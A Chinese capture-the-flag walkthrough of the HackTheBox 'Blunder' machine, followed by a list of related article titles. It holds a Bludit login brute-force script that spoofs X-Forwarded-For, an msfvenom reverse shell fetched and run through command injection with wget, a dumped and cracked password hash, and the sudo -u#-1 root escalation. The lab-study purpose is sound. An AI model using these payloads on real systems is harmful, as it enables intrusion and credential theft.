1、扫描

masscan快速全局扫,nmap具体扫。没啥。21还被关了,就是80web渗透。这种情况一般就是cms漏洞之类的,网上搜到直接打。

C:\root> masscan -p1-65535,U:1-65535 10.10.10.191 --rate=1000 -e tun0Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2021-01-08 00:00:29 GMT-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.191
^Cwaiting several seconds to exit...
^Zte:  0.00-kpps, 100.00% done, waiting -15-secs, found=1
[1]+  Stopped                 masscan -p1-65535,U:1-65535 10.10.10.191 --rate=1000 -e tun0
C:\root> nmap -A 10.10.10.191
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-08 08:03 CST
Nmap scan report for 10.10.10.191 (10.10.10.191)
Host is up (0.42s latency).
Not shown: 998 filtered ports
PORT   STATE  SERVICE VERSION
21/tcp closed ftp
80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
Aggressive OS guesses: HP P2000 G3 NAS device (91%), Linux 2.6.32 (90%), Infomir MAG-250 set-top box (90%), Netgear RAIDiator 4.2.21 (Linux 2.6.37) (90%), Linux 2.6.32 - 3.13 (89%), Linux 3.3 (89%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (89%), Linux 3.7 (89%), Ubiquiti AirOS 5.5.9 (89%), Ubiquiti Pico Station WAP (AirOS 5.2.6) (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

dirbuster扫到这个目录进入

http://10.10.10.191/install.php

说已安装这个

Bludit is already installed ;)

目录又看到todo.txt

-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING

可知这个cms应该是旧版本了,而且有个用户叫fergus

2、bludit渗透

网上搜漏洞,msf有这个,用msf直接打,很简单,我不用msf的话。搜到这个https://www.exploit-db.com/exploits/48568
但是无论msf还是这个,运行后提示要密码。

哪里有密码呢?没有。但可以跑密码。又搜到这个ruby跑密码。
但是我的ruby版本老,要更新,更新时又是一堆报错,懒得管了。
找到国外高手Khaotic写的python

#script modified by Khaotic
#original at https://rastating.github.io/bludit-brute-force-mitigation-bypass/
#!/usr/bin/env python3
import re
import requests
import syshost = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
#wordlist = []# Generate 50 incorrect passwords
#for i in range(10):
#    wordlist.append('Password{i}'.format(i = i))# Add the correct password to the end of the list
#wordlist.append('adminadmin')#for password in wordlist:
f = open(sys.argv[1], 'r')
for password in f:if 1 == 1:password = password.strip()   session = requests.Session()login_page = session.get(login_url)csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)print('[*] Trying: {p}'.format(p = password))headers = {'X-Forwarded-For': password,'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36','Referer': login_url}data = {'tokenCSRF': csrf_token,'username': username,'password': password,'save': ''}login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)if 'location' in login_result.headers:if '/admin/dashboard' in login_result.headers['location']:print()print('SUCCESS: Password found!')print('Use {u}:{p} to login.'.format(u = username, p = password))print()break

但是没有密码范围
向网站爬一个。这是种无奈之举,但也是方法。

cewl -w blunder_wordlist.txt -m 5 http://10.10.10.191

最后运行Python : python crack.py blunder_wordlist.txt,跑出fergus:RolandDeschain

有了密码

再次运行。
先在本机生成 弹shell文件

msfvenom -a x64 --platform linux -p linux/x64/shell_reverse_tcp LHOST=10.10.14.35 LPORT=9999 -f elf > revshell.elf

然后本机打开python http最后执行Python恶意文件

python3 48568.py -u http://10.10.10.191 -user fergus -pass RolandDeschain -c 'wget http://10.10.14.35/revshell.elf && chmod +x revshell.elf && ./revshell.elf'

收到shell

3、提权

老套路 linpeas传进去扫描 下载地址
可以看到几个用户

做多了就知道,先提权至某个用户,再提至root

目录里手工找,发现bludit不仅是我们之前看到的3.9.还有3.10版
进去找发现数据库里有 hugo 我们之前看到的用户。还有数据库密码

www-data@blunder:/var/www$ ls
bludit-3.10.0a  bludit-3.9.2  html
www-data@blunder:/var/www$ cd bludit-3.10.0a
www-data@blunder:/var/www/bludit-3.10.0a$ ls
LICENSE  README.md  bl-content  bl-kernel  bl-languages  bl-plugins  bl-themes  index.php  install.php
www-data@blunder:/var/www/bludit-3.10.0a$ cd bl-content
www-data@blunder:/var/www/bludit-3.10.0a/bl-content$ ls
databases  pages  tmp  uploads  workspaces
www-data@blunder:/var/www/bludit-3.10.0a/bl-content$ cd databases
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ ls
categories.php  pages.php  plugins  security.php  site.php  syslog.php  tags.php  users.php
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat user.php
cat: user.php: No such file or directory
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{"admin": {"nickname": "Hugo","firstName": "Hugo","lastName": "","role": "User","password": "faca404fd5c0a31cf1897b823c695c85cffeb98d","email": "","registered": "2019-11-27 07:40:55","tokenRemember": "","tokenAuth": "b380cb62057e9da47afce66b4615107d","tokenAuthTTL": "2009-03-15 14:00","twitter": "","facebook": "","instagram": "","codepen": "","linkedin": "","github": "","gitlab": ""}
}

faca404fd5c0a31cf1897b823c695c85cffeb98d拿去解密https://www.somd5.com/。得到 Password120

切换成hugosu hugo

sudo -l试下能有什么高阶执行

hugo@blunder:~$ sudo -l
Password:
Matching Defaults entries for hugo on blunder:                                                                                                                                                                                              env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin                                                                                                                       User hugo may run the following commands on blunder:                                                                                                                                                                                        (ALL, !root) /bin/bash

除了root的shell外,其他都可以切。

这个在编程里是否定的意思,搜到漏洞
查看sudo版本sudo --version。符合漏洞版本,然后执行sudo -u#-1 /bin/bash。拿下

hackthebox - blunder (Bludit渗透cewl使用 sudo提权)相关推荐

  1. Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)

    Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权) 靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/ 下载将其导入VMware ...

  2. 【甄选靶场】Vulnhub百个项目渗透——项目十六:FristiLeaks_1.3(文件上传,py脚本改写,sudo提权,脏牛提权,源码获取)

    Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目十六:FristiLeaks_1.3(文件上传,py脚本改写,sudo提权,脏牛提权,源码获取) 靶场地址

  3. sudo提权实战讲解 对用户对组的权限配置分析

    Linux是多用户多任务的操作系统, 共享该系统的用户往往不只一个. 出于安全性考虑, 有必要通过useradd创建一些非root用户, 只让它们拥有不完全的权限; 如有必要,再来提升权限执行. su ...

  4. linux显示不在sudoers文件中,Ubuntu无法使用sudo提权提示当前用户不在sudoers文件中...

    Ubuntu安装后默认root不能登陆系统,密码也是随机生成,其他用户使用root权限,可以使用sudo提权,前提是该用户在/etc/sudoers配置列表中. 但是有时用户名从/etc/sudoer ...

  5. RHCSA之路----13、配置sudo提权

    1. 题目 13.配置sudo提权 允许admins组的成员可以以root的身份执行任何命令,并且不需要密码. 2. 解题 两个方法2选1即可 2.1 visudo visudo ##复制110行修改 ...

  6. 37: sudo提权 、 Ansible配置 、 Ansible Playbook 、 Ansible进阶 、 总结和答疑

    Top NSD AUTOMATION DAY02 案例1:配置sudo权限 案例2:修改Ansible配置 案例3:Playbook应用案例 案例4:Playbook应用案例 1 案例1:配置sudo ...

  7. SUDO提权-Ansible配置-变量-Playbook应用案例

    返回 文章目录 1 案例1:配置sudo权限 1.1 问题 1.2 方案 步骤一:配置sudo提权 2 案例2:修改Ansible配置 2.1 问题 步骤一:配置普通用户远程管理其他主机 1)修改主配 ...

  8. Linux账号安全控制和sudo提权

    Linux账号安全控制和sudo提权 一.账号安全控制 系统账号清理 将非登陆用户的Shell设为/sbin/nologin或者/bin/falsh usermod -s /sbin/nologin ...

  9. Vulnhub 靶机 Stapler write up samba+wp advanced-video ->mysql 密码 连接 john解密 登录后台 wp插件getshell sudo提权

    Stapler write up 0x00 靶机搭建 0x01 信息收集 0x02 漏洞挖掘 web思路 mysql 思路 ftp 思路 139 samba思路 步骤一:ftp匿名访问 步骤二:sam ...

  10. linux sudo提权

    对于可以sudo的用户,就可以获得root权限,具体方法如下: 1.sudo vi 提权 sudo vi filename 在vi的命令行输入:!sh 进入shell 使用id查看,发现是root权限 ...

最新文章

  1. Python 位运算符
  2. 获取SpringBean对象工具类
  3. ios webView 放大网页解决/input 获得焦点focus 网页放大 解决
  4. poker java idea_JavaBasic学习笔记
  5. springmvc 中文文档
  6. Android:Day03_完美登录案例(使用流和文件来保存登录信息)
  7. 环信即时通讯在工程中的安装——Nusen_Liu
  8. android自动清缓存,折腾Android系列 一键清理自动释放缓存
  9. CodeSmith链接Oracle、MySQL数据库
  10. python html抓取,并用re正则表达式解析(一)
  11. 阿里服务器配置随笔记 centos 服务器 Linux 部分命令合集
  12. 【Godot】通过属性检查器显示对应节点的脚本属性
  13. 虚拟专用网和IPv6路由配置【Cisco】
  14. 【微服务】VirtualBox + Vagrant 快速配置虚拟机
  15. c/c++实现window简易串口通信
  16. 企立方集团:拼多多推广ROI的计算方式
  17. plm服务器 硬件性能,如何对PLM系统进行性能诊断与调优?
  18. Oracle 换库时发生 Connections could not be acquired from the underlying database
  19. 量子通信与计算机网络,虽然量子计算机仍然是个梦想,但是量子通信时代已经到来...
  20. 推荐PHP免费开源博客系统-Catfish(鲶鱼) CMS

热门文章

  1. 表格如何把边框线条加粗
  2. 极限中0除以常数_第七讲 极限存在准则和两个重要极限
  3. html的embed标签的元素隐藏,HTML-embed标签详解
  4. 商务云PHP网络验证系统,易如意PHP网络验证系统1.3【开源】+调用模块源码
  5. 概率论——随机变量、概率分布函数、概率密度函数、联合概率密度
  6. TF卡数据丢失?如何快速恢复?
  7. wchar_t和char,WCHAR和CHAR的区别和互相转化
  8. 使用MeGUI的一些问题及个人解决方案,仅作个人备注使用。
  9. 创业者最爱的美剧《硅谷》大结局竟然是这样!
  10. 发布博客支持关闭图片水印啦【CSDN产品周报第10期】